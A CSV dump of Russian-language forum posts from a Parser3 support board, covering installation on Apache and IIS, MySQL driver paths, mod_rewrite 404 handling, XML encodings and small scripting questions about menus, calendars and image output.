"5704","ты явно написал недостаточно информации для возможности помочь тебе. Ты Apache-то установил? ;-) Если да, то почему не приводишь никакой информации о нём? (последнии строчки лог-файлов) "
"5705","Если интересно, [url=\"./?id=1251\"]почитай сообщение #1251[/url]. \
\
Насколько я понял, у тебя старая версия, в новой (3.0.0005) этот баг исправлен. Перекачай новые файлы (включая файл конфигурации, теперь он один, и имеет имя auto.p) из раздела скачать. \
\
Удачи! "
"5706","В конфигурационном файле, который предлагается перекачать, эта строчка выглядит так:\
[code]\
mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so\
[/code]\
Попробуй такой код, если не будет работать, поищи полный путь к [i]libmysqlclient.so[/i], и укажи его. Удачи! "
"5707","эта программа, позволяющая производить многочисленные действия над графическими файлами из командной строки. ;-) Входит в стандартную поставку современных unix-систем. ;-) http://www.imagemagick.org/"
"5708","что я собираюсь делать с двоичными данными, к-рые хранятся в таблице в поле BLOB: как известно парсер лихо :) работает с гифами - может рисовать, писать по ним - задача стоит, к примеру, в построении графика, т.е. один гиф - подложка, другой (вместо алфавита) содержит изображение точки(крестика, нолика и т.п.). Конечно, если график один, то его можно нарисовать и от руки в фотошопе, а если их 2-3 сотни? А еще хочется чтобы все они имели стандартизованный внешний вид, чтобы было легко находить то, что было сделано полгода назад, чтобы данные для построения были тут же, под рукой, ну и так далее..\
Использование базы данных, на мой взгляд, решило бы эти проблемы.\
В общем, все это довольно специфично, наверное?\
Ну раз Парсер пока этого не может, буду учить ПХП :)"
"5710","IMHO, ты лишь только усложняешь.\
Учись быть \"ленивым\" и думать.\
Зачем хранить сами графики в базе?\
Проще хранить результат(сгенереные картинки на винте) а связку дата-рисунок  - в базе.\
Если хочеш через полгода нарисовать по-новой - храни сами данные в базе."
"5711","Его не так уж много народа использует :)\
Было бы гораздо больше, если бы вышел нормальный mod_parser для линукса. ЦГИшную версию, по-моему, не то что крупные хостинг-провайдеры, - даже более-менее продвинутые любители не очень захотят ставить.\
Что касается Win32... А так ли много хостингов/локальных серверов под честно купленным Win32?"
"5712","А где тут точка с запитой?\
А проблема решалась подругому - глупость моя неизлечима - я в место @main[] написал прямо - auto, что хотел парсеру этим сказать даже и не знаю"
"5713","И оказалось, что у большинства сотрудников студии после lsplit-а был flip... Поэтому было реализовано именно так.\
\
Мне больше нравится так как стало, особенно если вспомнить о том, что получить кол-во строк в таблице можно (в отличии от столбцов) и menu перебирает строки, а не столбцы."
"5714","но тогда в\
[code]\
1: $sections[^table::load[stolb1.cfg]]\
2: <img src=\"\" alt=\"&nbsp;\" width=\"130\" height=\"1\"><br>\
3: <A HREF=\"\" TITLE=\"\">1:</A><br>\
4: ^sections.menu{\
5: <A HREF=\"$sections.uri\" TITLE=\"\">$sections.name</A><br>}\
[/code]\
Строку №3 нельзя буде вогнать в цфг"
"5715","http://www.mysql.com/documentation/mysql/bychapter/manual_MySQL_Optimisation.html#Tips\
\
[quot]When using a normal web server setup, images should be stored as files. That is, store only a file reference in the database. The main reason for this is that a normal web server is much better at caching files than database contents. So it it's much easier to get a fast system if you are using files.[/quot]"
"5716","Создаю сайт следующей структуры:\
корень- в нем index.html, auto.p, sections.cfg (описание нав. менюшки) далее в корне лежат папки: news, razdel1..razdelN, в каждой из которых свой index.html. При обращении к этим, лежащим глубже корня индексам парсер ищет auto.p и sections.cfg там же! Как сделать так, чтобы были единственные auto.p и sections.cfg лежащие в корне сайта?"
"5718","но методы описаные в корневом ауто.п наследуются по дереву, а обрашаться к цфгшнику мона так ../***.cfg"
"5719","Прописал сначала просто libmysqlclient.so - не помогло,\
прописал полный путь таким образом, что строка сейчас выглядит вот так:\
[code]\
mysql$sqldriversdir/libparser3mysql.so /usr/local/mysql/lib/mysql/libmysqlclient.so\
[/code]\
\
И тут-то всё и заработало! Всем кто помогал - огромное спасибо!\
\
P.S. Используем Linux RedHat 7.2"
"5720","есть, под любую платформу.\
сейчас в питере, http://spb.mts.ru вполне себе работает.\
\
кто ставит на unix apache не имеет проблемы собрать из исходников."
"5721","там правильно.\
\
сейчас: создайте файл src/targets/apache13/hook/mod_parser3.c\
нулевого размера.\
\
в .tar.gz файл не попал. исправлю."
"5722","SetEnv HTTP_PARSER_ROOT_CONFIG d:/winxp/parser3/parser3.conf\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.exe\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
#"
"5723","- не помогает"
"5724","не понял вопроса... по-русски объясни."
"5726","Можно конечно вручную, как я обычно и делаю, но было бы интересно сделать автоматическую генерацию средствами parser маленьких jpeg-ов или gif-ов на основе полноразмерных изображений. Кто нибудь знает как? (я по форуму поискал, тема уже поднималась, но окончательного ответа так и не нашел)"
"5727","Дело в том, что я пытаюсь уставновить [i]Parser[/i] на дейсвующий сервер, где установлено все что нужно, в том числе Apache. А где смотреть его логи не в курсе ;(( \
Может подскажете?"
"5729","В index.html не хочет принимать @ пишет \
\"D:/test/index.html(8:1): parse error, expecting `$'  type: parser.compile\"\
\
"
"5731","Вот что в логах.\
[Mon Aug 26 03:52:35 2002] [error] [client 212.42.76.187] Premature end of script headers: /home/thomasdg/public_html/cgi-bin/parser3.cgi\
\
\
    \
\
"
"5733","Вот Блин!!\
Ты прав.\
\
СПАСИБО :)"
"5734","Основной смысл того, что я предлагал - это не надеяться на дату куки ;-)"
"5735","по сути мы меняем\
[code]\
<img src=\"\" alt=\"&nbsp;\" width=\"130\" height=\"1\"><br>\
<A HREF=\"\" TITLE=\"\">2:</A><br>\
<A HREF=\"\" TITLE=\"\">2.1</A><br>\
<A HREF=\"\" TITLE=\"\">2.2</A><br>\
[/code]\
на\
[code]\
$sections[^table::load[stolb2.cfg]]\
<img src=\"\" alt=\"&nbsp;\" width=\"130\" height=\"1\"><br>\
<A HREF=\"\" TITLE=\"\">2:</A><br>\
^sections.menu{\
<A HREF=\"$sections.uri\" TITLE=\"\">$sections.name</A><br>}\
[/code]\
и тогда получается что название столбика задаётся не в цфгшнике, понимаешь?"
"5736","а ещё лучше - сделай меню через БД. Я так сейчас и делаю. Очень удобно."
"5737","через БД, бесспорно удобно, но со сложным меню слишком заморочено выходит в этом-то и проблема"
"5738","Задаю этот вопрос уже не первый раз,но ответа так и не получил.\
Извините если это оффтопик.\
Есть Apache запускаемый от NOBODY.NOGROUP\
На нем есть несколько виртуальных серверов для клиентов\
У каждого виртуального сервера есть своя директория CGI \
И у каждого виртуального сервера свои собственные права (каталог сервера нажодится в домашней дериктории пользователя)\
\
Как правильно настроить APACH чтоб на виртуальных серверах работал парсер А то сейчас приходится всем файлам менять группу и пользователя на вышеуказанную\
\
"
"5739","что, выходит, что скрипт виртуального сервера А может читать/писать в каталоги виртуального сервера Б?\
\
это не есть хорошо!\
\
и что мешает сделать в каждом виртуальном сервере свой пользователь.группа?"
"5741","Попробуй так\
\
RewriteEngine   on\
RewriteBase /\
RewriteRule     ^news/(\\d{4})/$  /news/news_korp.html?korp=$1 [R=permanent]"
"5742","Я тебя обрадую -- использовать perl вовсе не обязательно! ;-)\
\
Но пакет программ [url=\"http://www.imagemagick.org/\"]ImageMagick[/url] всё же понадобится. (Они по умолчанию установлены в unix-системах. ) \
\
И метод запуска приложений ^file::exec. "
"5744","Я сделал на куках авторизацию. Время жизни куков - session.\
В локале все работает, а вот когда захожу через dns редирект (на свою же машину) - куки живут только на одной странице - на следующей не работают.\
В установках днс-а стоит stealth-forwarding (это когда не видно в строке адреса названия страницы).\
Как бороть ?"
"5745","хотя я и получил исчерпывающую инфу по сабжу, меня все же интересовала лишь принципиальная возможность таких манипуляций с бинарными объектами с помощью Парсера.\
Я понимаю, что файловая система по-любому работает быстрее базы данных. Хотя история знает случаи, когда сама файловая система (точнее операционная) представляет собой реляционную БД (Apple Newton Message Pad, там вообще нет файлов в привычном понимании), я слышал, что MS проектирует следующую Винду с такой же фишкой.\
Но это - так, лирика.\
Хочу объяснить, что натолкнуло меня на такие мысли вообще. Вот ссылка: http://www.artlebedev.ru/pr/release_98.html .\
Вот я подумал, что продвинутые программисты Студии наверняка сделали так, чтобы картинки не были рассыпаны по серверу, а лежали в виде записей в БД (хотя там наверной Oracle стоит или еще чего-нибудь, не MySQL).\
Видимо, надо все-таки быть проще :)\
А вообще, еще раз спасибо за комментарии. \
"
"5746","Спасибо за ссылку.\
Все так, если речь идет о веб-сервере, т.е. когда производительность (или скорость работы) - критичный параметр.\
В моем же случае все немного иначе - я же пытаюсь использовать Парсер и MySQL для, скажем так, офф-лайновых нужд :)"
"5747","Разве сложно этот модуль в раздел загрузки выложить?? Меня СГИ не устраивает на линуксе."
"5748","ходи по-нормальному "
"5749","возможно, забыл перед какой-либо пер-й $ поставить. "
"5752","Есть строка, содержащая цену товара.\
Есть задумка выводить цену в виде картинок с цифрами. Т.е. 1 в значении цены заменять тегом картинки с изображением 1. Понимаю, что match для этого и предназначен, но не знаю как сделать.\
\
Заранее благодарен."
"5754","сорри что задаю сюда вопрос по предыдущей версии парсера.\
но в том форуме никто по-моему не бывает.\
скажите пожалуйста, возможно ли запускать через ^exec[] скрипт который лежит в недоступном вебу каталоге ?\
я положил скрипт в /usr/home/ и пытаюсь его пускать, апач его не находит,в еррорлог пишет ошибку про нот фаунд."
"5756","Это обсуждалось в том форуме, поиск тебе поможет."
"5757","[code]\
$str[цена: 123 р.]\
^str.match[(\\d)][g]{<img src=\"/i/${match.1}.gif\" />}\
[/code]\
\
Думаю что сам сообразишь, как размеры картинок определить...\
\
НО. Неправильно как-то это... Зачем посетителей насиловать? :)\
Да и если делать, то не обязательно match использовать, хотя с ним короче запись выходит, но я не уверен, что эффективнее..."
"5758","Зато красиво \\:^)"
"5759","я так понимаю можно поставить парсер без проверки групп\
но он у меня не собирается\
ОС FreeBSD 4.5\
может поможете с бинарником (XML мне не нужен)"
"5761","Вопрос заключался в том, как менять цифры на картинки...\
\
Точка - не цифра (IMHO)\
\
Если и ее надо заменять на картинку - измени match чтобы он хватал и ее..."
"5763","закачай себе файл по ftp и делай с ним все что хошь, потом обратно. Можешь взять редактор со встроенным например Ultraedit тогда можешь прямо на сервере его редактировать"
"5765","ты не хочешь это делать? или есть технические трудности?"
"5766","Поехали!\
Вообщем спасибо. А то я тут мучался недели две. Не мог понять в чем дело.\
Все уже работает.\
Rafael"
"5769","Добавление в секцию виртуальных хостов \
USER XXXXXXXXX\
GROUP XXXXXXXXX\
и установка соответствующих групп на сам парсер и все документы не дало результата Парсер выдает ошибку\
Да кстати Апачи собран с настройками по умолчанию из исходников взятых с http://www.lexa.ru "
"5770","ибо в Unix можно сделать так чтобы файлы начинающиеся с точки не отображались при команде листинга каталога. Смотри что написал по этому поводу PAF http://parser.ru/forum/?id=5298"
"5772","Для этой задачи оченно хорошо подходит ^image.text - в одно действие + в одну картинку. очень даже удобно."
"5773","[code]\
$str[$product_info.products_price]\
$str[^str.match[(\\.)][]{<img src=\"/i/point.gif\">}]\
^str.match[(\\d)][g]{<img src=\"/i/${match.1}.gif\" alt=\"${match.1}\" border=\"0\">}\
[/code]\
\
А два \"мачо\" в этой ситуации правильно?"
"5776","Написал сайт. Закачал на сервер. Все работает, НО при указании несуществубщей страницы например news.html ваходит сообщение\
\
Unhandled Exception\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, webmaster@rainbowsystem.ru and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception.\
\
хотя по 404 стоит переадресация в папку /error/.\
\
Если указывается несуществующая папка то все переадресовывается.\
"
"5777","причем если указывать страницу с расширение отличным от .html (например .php или .htm) то все работает"
"5778","обращение к несуществующей странице не будет вызывать 404 ошибки, а будет возникать ошибка parser.\
\
PAF пытался уйти от этого для парсера ввиде модуля к Apache но без особого успеха, фрагмент исходника:\
[code]\
/// @test r->finfo.st_mode check seems to work only on win32\
static int parser_handler(request_rec *r) {\
	//_asm int 3;\
    if(r->finfo.st_mode == 0) \
		return NOT_FOUND;\
[/code]"
"5779","дело в том, что я полностью переделал сайт и написал его на парсере (страницы соответственно все переименованы). Теперь при обращении пользовотель видит ошибку, а не страницу перехода по 404.\
\
Это не солидно :("
"5780","ибо эти страницы (htm php и др.) не обрабатываются парсером, эта ошибка будет только для html файлов, ну или ещё каких, которые обрабатываются парсером."
"5781","ловить все несуществующие запросы mod_rewrite и отправлять их на 404"
"5782","сорри если вопрос глупый, но я не знаю как"
"5783","[code]\
RewriteCond	%{REQUEST_FILENAME}	!-f\
RewriteRule	^(.*)$	/404.html\
[/code]"
"5784","в .htaccess "
"5785","Прочитай раздел документации про эти команды.\
Вероятно у тебя не установлен/не настроен suexec."
"5786","а чего ты любитель писать такие штуки в httpd.conf? и каждый раз сервер рестартовать при экспериментах? :)"
"5789","Страницам с парсером присвоить не (*.html), а например (*.ht_p) и назначить именно эти страницы на обработку парсером. Тогда со страницами .html все должно быть в порядке. Правильно? "
"5790","RewriteCond	%{REQUEST_FILENAME}	!-f\
RewriteRule	^(.*)$	/error/\
\
может опять что не так сделал \
"
"5791","А кто мешает в конфиге заменить @unhandled_exception_release[exception;stack] на свой обработчик, и показывать все что хочешь пользователю."
"5792","Почитать http://i/docs/parser3/html/optry.htm\
и вставить в @unhandled_exception проверку на $exception-type == file.missing и $exception.file == user-request - и если действительно так - выдавать инфу согласно 404."
"5793","Без него все команды mod_rewrite игнорируются. RTFM.\
\
И вообще, это не в духе парсера - есть exception и все что с ней связано."
"5794","а с mod_rewrite это так, как один из методов."
"5797","Почитать http://i/docs/parser3/html/optry.htm\
\
Хотел почитать но не могу"
"5800","Тупо берет и показывает мой авто.п - ПОЧЕМУ ????\
(у меня iss)"
"5801","поройся в настройках IIS на предмет запрещения доступа черех www к файлам с определённым расширением, короче найти аналог Apache директивам (если это конечно есть в IIS):\
[code]\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
[/code]"
"5802","стоит у меня этот мод, в .htaccess то, что советовали:\
[code]\
RewriteCond	%{REQUEST_FILENAME}	!-f\
RewriteCond	%{REQUEST_FILENAME}	!-d\
RewriteRule	^(.*)$	/main.html?uri=/$1	[L,QSA]\
[/code]\
файл main.html есть, там пока простой код:\
показ запрашиваемого ури\
и показ имени домена\
но при этом выдается \"unable to print ...\" $(\
как лечить?(топор не предлагать) "
"5807","просто AllowOverride не позволял писать rewrite rules в .htaccess и соответственно mod_rewrite просто не воспринимал оттуда команды"
"5808","Всё работает - берутся из auto.p методы, переменные и т.д.\
Как только вставляю в *.html @USE с правильным путём к своему классу:\
[code]\
/www/*.*.ru/html/*.html(9:7): parse error, expecting `'\\n''\
exception.type=parser.compile \
[/code]\
что важно 9:7 это конец файла, всё вроде проверил, все ошибочки ношёл но ничего не меняется, убираю @USE и опять всё нормально"
"5809","об этом тебе и говорится в сообщении об ошибке"
"5810","можно поставить обработчиком этих расширений кого-нибудь.\
скажем, отсутствующего [обмануть iis на эту тему несложно]\
\
а можно того же parser'а. он их обработает, если не будет @main ругнётся, если будет: что-то выведет, не очень важно что.\
важно, чтобы не вывел исходного кода.\
\
другие идеи?"
"5811","не помогает:\
[code]\
@USE\
cls/mnu.p /n\
[/code]\
или не так должнобыть"
"5812","я бы так написал:\
[code]\
@USE\
cls/mnu.p\
[/code]\
а вообще я все пути к классам загоняю в CLASS_PATH и при подключениях пишу только имена файлов с требуемыми класссами."
"5813","поскольку с IIS особо не заморачиваюсь, хватает Apache который по мне гораздо лучше и удобнее."
"5817","В этом коде:\
@block[]\
<div style=\"width:^eval(20*$var)px; height:100px\">Это блок<div>\
\"точка с запятой\" вообще не выводятся и в браузере получается строка\
<div style=\"width:40px height:100px\">Это блок<div>\
поэтому style не срабатывает. Как обойти эту проблему, если в данном случае стили не помещать во внешний файл?\
"
"5818","да и повнимательней отнесись к доке, - там про это написано."
"5819","Спасибо.\
(А как быстро-то!!!)"
"5820","Ни один из вариантов не сработал, ни \\n в конце, ни в ковычках, ни как вобщем. Так он и пишет то что писал."
"5822","Первое есть index.html:\
[code]\
$name[Начальная]\
$css[project.css]\
^verh[]\
^niz[]\
[/code]\
всё отлично работает.\
Второе вставляем в самое начало index.html:\
[code]\
@USE\
cls/mnu.p\
[/code]\
тогда отвечает:\
[code]\
/www/*.*.ru/html/index.html(10:9): parse error, expecting `'\\n''\
exception.type=parser.compile \
[/code]\
\
Всё. Все предложеные варианты опробывал - неработает, ответ тотже за исключением цифр показывающих в любом случае на последний символ кода."
"5826","Варианты:\
\
1. Показывай, полностью не работающий код.\
\
2. Показывай полностью, не работающий код."
"5827","[code]\
usage failed - no $MAIN:CLASS_PATH were specified\
cls/mnu.p\
\
/www/flyid.hoha.ru/html/index.html(2)\
exception.type=parser.runtime \
[/code]\
ну вот хоть что то изменилось"
"5830","А если у меня прав нету править parser3.conf есть обходной путь?"
"5831","Это точно но прав то его править у меня нету :("
"5834","... что у тебя нет возможности отредактировать конфигурационный файл сайта - это же не главный конфиг, в нем ничего страшного нет ..."
"5835","Есть XML документ, в нем среди прочего, есть <body><![CDATA[.. и тут текст, размечен тегами html ]]></body>\
\
# выдача результата в HTML виде\
^transformedDoc.string[\
$.method[html]\
]\
\
Текст \"отмывается\" при выдаче на экран. Есть такое ощущение, что можно написать $.method[as-is] или еще что-то подобное. RTFM не помог :(\
Кто нибудь делал подобное?"
"5836","Хоть убей не врубается под FreeBSD... Ошибка 500. Что делать?"
"5838","А кто-нибудь пробовал Parser с Small HTTP Server-ом?"
"5841","А всё остальное просто - в настройках ставишь новый обработчик для файлов типа .html, указываешь на parser3.exe"
"5842","Стою тут, чешу репу...\
\
Имеется что-то типа LiveJournal (или раздела с новостями или что-то подобное) - куда выкладываются записи по числам нерегулярно. Одна - числа третьего, следующая - пятого, очередная - пятнадцатого. Хочу вывести календарик, в котором дни, где есть записи, должны быть ссылками - как это реализовать? Сделать 31 запрос к БД? Некрасиво...\
\
Алгоритм присоветуете? Код сам напишу, мне идея требуется :)\
\
И ещё одно - нехорошо выводить несколько записей из одного дня в виде\
\
[code]28 августа\
 Бла-бла-бла нумер 1\
\
28 августа\
 Бла-бла-бла нумер 2\
\
28 августа\
 Бла-бла-бла нумер 3\
\
27 августа\
 Вчерашнее бла-бла-бла[/code]\
\
а хочется\
\
[code]28 августа\
 Бла-бла-бла нумер 1\
 Бла-бла-бла нумер 2\
 Бла-бла-бла нумер 3\
27 августа\
 Вчерашнее бла-бла-бла[/code]\
\
Нужно опять-же несколько обращений к БД по каждому из дней, а потом отбор N последних? Некрасиво - не может быть, что нет более красивого решения..."
"5845","Результат - хеш, где ключ хеша - строка с датой.\
Затем строишь свой календарик, и при отрисовке каждого дня лукап к хешу. Если true - делаешь ссылку, если нет - не делаешь...\
\
Группировки.\
Вариант 1: тупое меню по результатам, отсортированым по дате, с запоминанием предыдущей даты. Если отличается - выводишь дату, нет - не выводишь.\
\
Вариант 2: \
Меню по заданому диапазону дней (ну например от 1 до 31...) \
Для каждого дня - table.select и menu{}\
Естественно, что все новости заранее достаты одним запросом из БД.\
\
P.S. к egr за этим не ходи по указаной ссылке, у него другое... Кажется... :)"
"5846","# кежем документ с id=^form:id.int(0)\
$document[^MAIN:pDocument.getDocumentById[^form:id.int(0)]]\
$article[^MAIN:pDocument.printDocumentXML[$document]]\
# входной xdoc документ\
$sourceDoc[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?>$article}]\
# преобразование xdoc документа шаблоном article.xsl\
$transformedDoc[^sourceDoc.transform[article.xsl]]\
# выдача результата в HTML виде\
^transformedDoc.string[$.method[html]]\
\
Текст документа в базе. В тексте разметка. printDocumentXML матчит текст и выдает его с штмл разметкой."
"5847","$form:text (тут пришло <p>dsfgsdg</p>)\
\
^match[(<p>)(.+?)(</p>)][g]{${match.1}${match.2}${match.3}}\
\
На выходе будет \"грязный\" html\
\
^match[(<p>)(.+?)(</p>)][g]{<p>${match.2}</p>}\
на выходе теги <p></p> будут чистые...\
\
Так что показывай свой printDocumentXML или попробуй написать ^taint[as-is][$article] когда создаешь xdoc\
\
"
"5848","1. По какой причине в parser3 не реализована функция получения текущего часового пояса? :-)\
\
2. И что-нибудь типа миллисекунд? ;-) \
\
3. А ещё было бы очень хорошо, если бы была функция, подсчитывающая общее время создания страницы. ;-) Ну или хотя-бы пункт 2, для возможности самостоятельного написания этой фичи. ;-) "
"5849","как я не догадался хешэм сделать. А то я на www.webdiary.ru каждый день в календаре проверял запросом ;-(\
\
Только что переделал через хэш. Круто."
"5852","ибо надо сделать за раз 30 штук SQL запросов одновременно, что при большой нагрузке просто положит SQL сервер.\
\
В принципе это можно сделать и без хэша, а с поиском по таблице - будет медленнее, но памяти будет есть поменьше и если у вас паранойя на предмет минимизации использования памяти, то этот вариант стоит рассмотреть."
"5853","у меня там посещаемость пока небольшая - сервер не загнулся :-)\
паранойи нету пока ... :-) через хеш отлично работает. Только с чего бы через таблицу будет есть меньше памяти? имхо, будет одинаково."
"5854","т.е. касаемо показывания ссылок в календаре на днях когда что-либо было. Касаемо второй части я бы сделал 2 запроса:\
\
1. на выборку всех дат за месяц когда были материалы (с distinct)\
\
2. на выборку всех материалов за месяц\
\
Затем менюшил бы первую таблицу и внутри её вторую, где внутри menu по 2-й таблице делал бы вывод по условию равенства дат 1-й и 2-й таблиц.\
"
"5855","правда ненамного, сам механизм хэширования подразумевает использование дополнительной информации, которая естественно требует некоторого количества памяти (за скорость надо платить чем-то). Мне сейчас лень лезть в книжку и расписывать подробно теоретические основы хэширования. Ты можешь это сделать сам прочитав по-моему 3-й том искусства программирования или книгу \"Конкретная математика\" Кнут, Грэхем, Паташник."
"5856","Всем привет, при переноси кода сайта на парсере с Win32(apache)\
на Linux (Mandrake), стало выдавать такую ошибку...\
На Win32 все работало на ура...\
В чем может быть проблема?\
Нужно компилить parser под Linux из исходников?\
"
"5857","Варинат:\
$news[^table::sql{}]\
\
$newsHash[^hews.hash[dt;dt]]\
\
вот тебе хеш с уникальными датами, занимающий совсем не много, при этом нету никакого distinct...\
\
В общем чуть что - думайте пр хеш, он много хорошего позволяет... :)"
"5858","SmartFTP -  видит .htaccess "
"5859","Как правильно реализовать выбор из базы?\
На этом форуме вверху уже забиты даты. А мне хочется сделать два поля чтобы человек сам выбирал числа.\
Только я не пойму как это сделать!\
\
Вопрос в том, как и куда организовать вывод данных?\
\
\
<form method=\"POST\" action=\"ok.html\">\
\
^MAIN:dbconnect{ \
   $idotdel[^table::sql{select IdOtdel, Otdel from Otdel}]\
} \
\
Отдел&nbsp;&nbsp;&nbsp;<select name=\"IdOtdel\">\
                     <option>Выберите отдел</option>\
                     <option>------------------------------</option>\
        ^idotdel.sort{$idotdel.Otdel} \
        ^idotdel.menu{   \
                     <option value=\"$idotdel.IdOtdel\">$idotdel.Otdel</option>\
                 }\
                     </select>&nbsp;&nbsp;&nbsp;\
\
За период с &nbsp;<input name=\"start\" size=\"10\">&nbsp;&nbsp;&nbsp;&nbsp;\
по&nbsp;<input name=\"finish\" size=\"10\">&nbsp;&nbsp;&nbsp;&nbsp;<br><br>\
\
^MAIN:dbconnect{ \
   $monsters[^table::sql{select IdCrazy, Sort, Crazy from Crazy}]\
}\
\
\
   Вид затрат&nbsp;&nbsp;&nbsp;&nbsp;<select name=\"IdCrazy\">\
                     <option>Выберите вид затрат</option>\
                     <option>------------------------------</option>\
        ^monsters.sort{$monsters.Sort} \
        ^monsters.menu{   \
                     <option value=\"$monsters.IdCrazy\">$monsters.Crazy</option>\
                 }\
                     </select><br><br>\
\
\
<p><input type=\"submit\" value=\"Выбрать\" name=\"post\"></p> \
</form> \
"
"5860","вопрос какой=то непонятный. ты хочешь выбрать из базы даты?\
или чтоб пользователь устанавливал дату а потом выборка?\
\
тогда делаешь 3 селект бокса, в одном день, в другом - месяц, в третьем - год. юзер устанавливает дату, делает пост формы, ты эту дату обрабатываешь через .sql-string[] и ищешь нужную запись... date LIKE '$date%' или типа того."
"5863","Ну не знаю как он его найти не может, ведь структуру я не менял, все старое осталось...\
"
"5864","Как исправить? Подскажите пожалуйста!\
\
C:/Inetpub/magnit/parser/l6/article.xml:1: error: Unsupported encoding windows-1251\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
                                          ^\
"
"5865","Пример для оператора AND \
url:=file.xml?param1=1&param2=2\
А как сделать с оператором ИЛИ?????????"
"5866","стандарт этого вроде не предусматривает."
"5867","Вы наверное не втом контексте используете данный тег.\
Проверьте как сделано в работающих файлах!"
"5868","Вот строка запроса\
/Vessel[@param1=$param1 or @param2=$param2]\
т.е. здесь я могу задать логику!\
А вот в вызове файла в explorer как мне передать параметры в уже существющую логику не зяню!\
:("
"5869","http://parser.ru/forum/?id=5810"
"5870","исходники открыты, разумные фичи можно писать самому, присылать: достойные опубликуем.\
\
по предлагаемому: не забудьте сделать, чтобы работало на большинстве платформ.\
миллисекунды чистого времени есть в некоторых os, абсолютные миллисекунды совершенно бесполезны.\
\
фича такая есть[даже уже вкомпилена], в документации о ней не написано, поскольку есть не на всех платформах.\
\
на днях добавим."
"5871","стандартный способ проверки: внесите в файл намеренную ошибку, вы должны её увидеть:\
\
[code]\
^throw[user;test error]\
[/code]"
"5872","очевидно, потерян конфигурационный файл.\
в auto.p в @conf должны быть перечисленны загружаемые кодировки.\
\
в download это есть. возможно, вы не выкачали этот конфигурационный файл+сопутствующие ему [один архив]. "
"5873","никто же не мешает передать и оператор тоже:\
file.xml?param1=val1&param2=val2&func=or\
"
"5874","только не забудьте, что подставлять пользовательский код напрямую в ваш XPath запрос [или в операторы SQL запроса] нельзя.\
\
иначе вам рано или позно передадут далеко не то, что вы ожидаете."
"5875","Тогда как должен выглядить файл содержащий XPath запрос ?\
/Vessel[param1=$param1 $func @param2=$param2]\
Вот так не сработало!?!"
"5876","А другие, и что имелось в виду под словом недоработка?"
"5877","Я накатал в .htaccess\
\
 RewriteEngine on\
 RewriteCond	%{REQUEST_FILENAME}	!-f\
 RewriteRule	^(.*)$	/404.shtml\
\
на что я просто не могу попасть на первую страницу сайта он все запросы перекидывает на 404 ошибку, если я пишу так tipok.com,\
a если пишу tipok.com/index.html или tipok.com/docs.html , то все нормально.\
\
Подскажите, нормальное решение этой проблемы.\
"
"5878","RewriteEngine on\
RewriteCond %{REQUEST_FILENAME} !-f\
RewriteCond %{REQUEST_FILENAME} !-d\
RewriteRule ^(.*)$ /404.shtml"
"5879","и не могут настроить suEXEC поэтому приходится испольовать версию собранную с откл. опцией disable-foreign-group-files\
\
также ленивые админы на net.ru и zenon"
"5881","Пишу так:\
RewriteEngine on\
RewriteCond %{REQUEST_FILENAME} !-f\
RewriteCond %{REQUEST_FILENAME} !-d\
RewriteRule ^(.*)$ /404.shtml'\
\
404 не вызывается по левому запросу ../sdfsdf.htm"
"5882","Не мои файлы все на 100% на месте, что может в конфигурации при установки Paser'а может быть сделано по кривому, что выдает такую ошибку???\
"
"5884","Конечно без проблем, добавь поле datetime и делай такую выборку\
select top 5 * from basename order by date desc,\
где date, то поле о котором я говорил\
\
"
"5885","1. я предлагал эксперимент. по этому поводу ничего не пишите.\
2. ошибку вызывает создавшаяся ситуация, когда вы parser'у не сказали ничего о данной кодировке."
"5887","Слушай я тебе малость наврал в предыдущем сообщении\
все тоже самое только вместо TOP 5\
пиши в конце запроса LIMIT 5\
Вторым параметром, через запятую, можно указать с какой строкиначинать выборку"
"5888","Попробовал сделать то что вы предлагали\
вставил в index.html\
первой строкой, и тоже самое сделал в auto.p\
После чего выдало такую ошибку\
/var/www/html/test/index.html(3:1): parse error, expecting `$'  type: parser.compile\
Почему-то у меня создается такое впечатление, что он его вообще не находит этот файл...\
\
Далее сразу ругается на строку\
\
@USE\
/test/admin/news.p \
\
которая у меня до этого была закомментированна\
\
Структура расположения файлов\
host/test/ (мои файлы и каталоги)\
\
На счет остального... я поместил Главный конфигурационный файл в тотже каталог от куда идет запуск Parser'а, правильно? \
В файле .htaccess\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
Все верно?? На счет кодировки вроде все нормально, строка с windows-1251.cfg без комментария, должна загружаться\
\
"
"5889","а вы не просил их включить ету опцию?"
"5890","может кто-нибудь поможет, такая проблема:\
пишу:\
\
$now[^date::now[]]\
\
$now2[$now]\
\
^if($now < $now2){\
 меньше\
}\
\
^if($now > $now2){\
 больше\
}\
\
^if($now == $now2){\
 равно\
}\
\
почему при разных запусках получаю разные ответы?\
"
"5894","если копировать одну и туже дату в другую переменную что нибудь изменится если у меня будет не двухпроцессорный 3 пень как сейчас, а четырех???"
"5896","+1/24 это добавить один час\
а сравнение дробных чисел вещь весьма приблизительная, особенно в равенстве."
"5897","Может немного в оффтопик, но...\
Не знаком с net.ru и valuehost.ru, а вот с Зеноном знаком очень давно и должен заметить, что Зенон меня всегда очень радовал (и продолжает радовать) уровнем сервиса, надежным хостингом и грамотным support'ом. За почти 5 лет ни одной осечки.\
И гложет меня мысль -- может быть админы на Зеноне не зря делают то, что они делают. Когда я к ним обращался по поводу Парсера, они мне сразу сказали -- [i]ставь версию без проверки, ничего страшного не случится[/i].\
Разве может админ крупного и хорошего провайдера сказать такое клиенту просто от лени своей? Не думаю.\
\
Это я к тому, что пора бы «рассекретить» grpunlim-версию. Имхо, достаточно просто предупредить о возможных последствиях. В конце концов, если уж кто-то решает стать веб-мастером, он должен действительно быть веб-МАСТЕРОМ и понимать, что творит, а не просто копировать строчки из мануала в ожидании чуда -- тогда и сайтов хороших прибавится."
"5898","Пример с базой данных заработал, настроил его на работу с Ms Access через ОДБС драйвер (версия 4.00.620). В базе есть данные с литовскими/латвийскими символами. При выводе в браузере он их отображает не корректно.\
